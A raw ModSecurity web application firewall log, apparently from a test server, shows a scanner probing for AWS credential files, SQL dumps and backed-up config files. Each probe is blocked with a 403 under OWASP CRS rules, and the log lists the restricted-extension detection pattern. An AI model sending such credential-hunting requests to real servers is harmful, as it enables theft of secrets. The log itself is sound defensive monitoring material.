[Thu Feb 26 01:03:32.810507 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl_gAAAAI&quot;]
[Thu Feb 26 01:03:32.810683 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl_gAAAAI&quot;]
[Thu Feb 26 01:03:32.901764 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config.yaml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config.yaml&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjmAQAAAAI&quot;]
[Thu Feb 26 01:03:32.902021 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config.yaml&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjmAQAAAAI&quot;]
[Thu Feb 26 01:03:32.902171 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config.yaml&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjmAQAAAAI&quot;]
[Thu Feb 26 01:03:32.952726 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.sql&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVSAAAAAc&quot;]
[Thu Feb 26 01:03:32.953460 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.sql&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVSAAAAAc&quot;]
[Thu Feb 26 01:03:32.953637 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.sql&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVSAAAAAc&quot;]
[Thu Feb 26 01:03:32.993843 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.old&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjmBAAAAAI&quot;]
[Thu Feb 26 01:03:32.994372 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.old&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjmBAAAAAI&quot;]
[Thu Feb 26 01:03:32.994543 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.old&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjmBAAAAAI&quot;]
[Thu Feb 26 01:03:33.056277 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.json.bak&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmBgAAAAI&quot;]
[Thu Feb 26 01:03:33.056778 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.json.bak&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmBgAAAAI&quot;]
[Thu Feb 26 01:03:33.056934 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.json.bak&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmBgAAAAI&quot;]
[Thu Feb 26 01:03:33.076618 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql_debug.sql&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVSwAAAAc&quot;]
[Thu Feb 26 01:03:33.077157 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql_debug.sql&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVSwAAAAc&quot;]
[Thu Feb 26 01:03:33.077338 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql_debug.sql&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVSwAAAAc&quot;]
[Thu Feb 26 01:03:33.105625 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVTAAAAAc&quot;]
[Thu Feb 26 01:03:33.105919 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVTAAAAAc&quot;]
[Thu Feb 26 01:03:33.106135 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVTAAAAAc&quot;]
[Thu Feb 26 01:03:33.117211 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.js.bak&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmCAAAAAI&quot;]
[Thu Feb 26 01:03:33.117732 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.js.bak&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmCAAAAAI&quot;]
[Thu Feb 26 01:03:33.117900 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.js.bak&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmCAAAAAI&quot;]
[Thu Feb 26 01:03:33.214557 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config.yaml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config.yaml&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVTwAAAAc&quot;]
[Thu Feb 26 01:03:33.214875 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config.yaml&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVTwAAAAc&quot;]
[Thu Feb 26 01:03:33.215067 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config.yaml&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVTwAAAAc&quot;]
[Thu Feb 26 01:03:33.274822 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.inc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.inc&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmDAAAAAI&quot;]
[Thu Feb 26 01:03:33.275382 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.inc&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmDAAAAAI&quot;]
[Thu Feb 26 01:03:33.275563 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.inc&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmDAAAAAI&quot;]
[Thu Feb 26 01:03:33.313433 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag 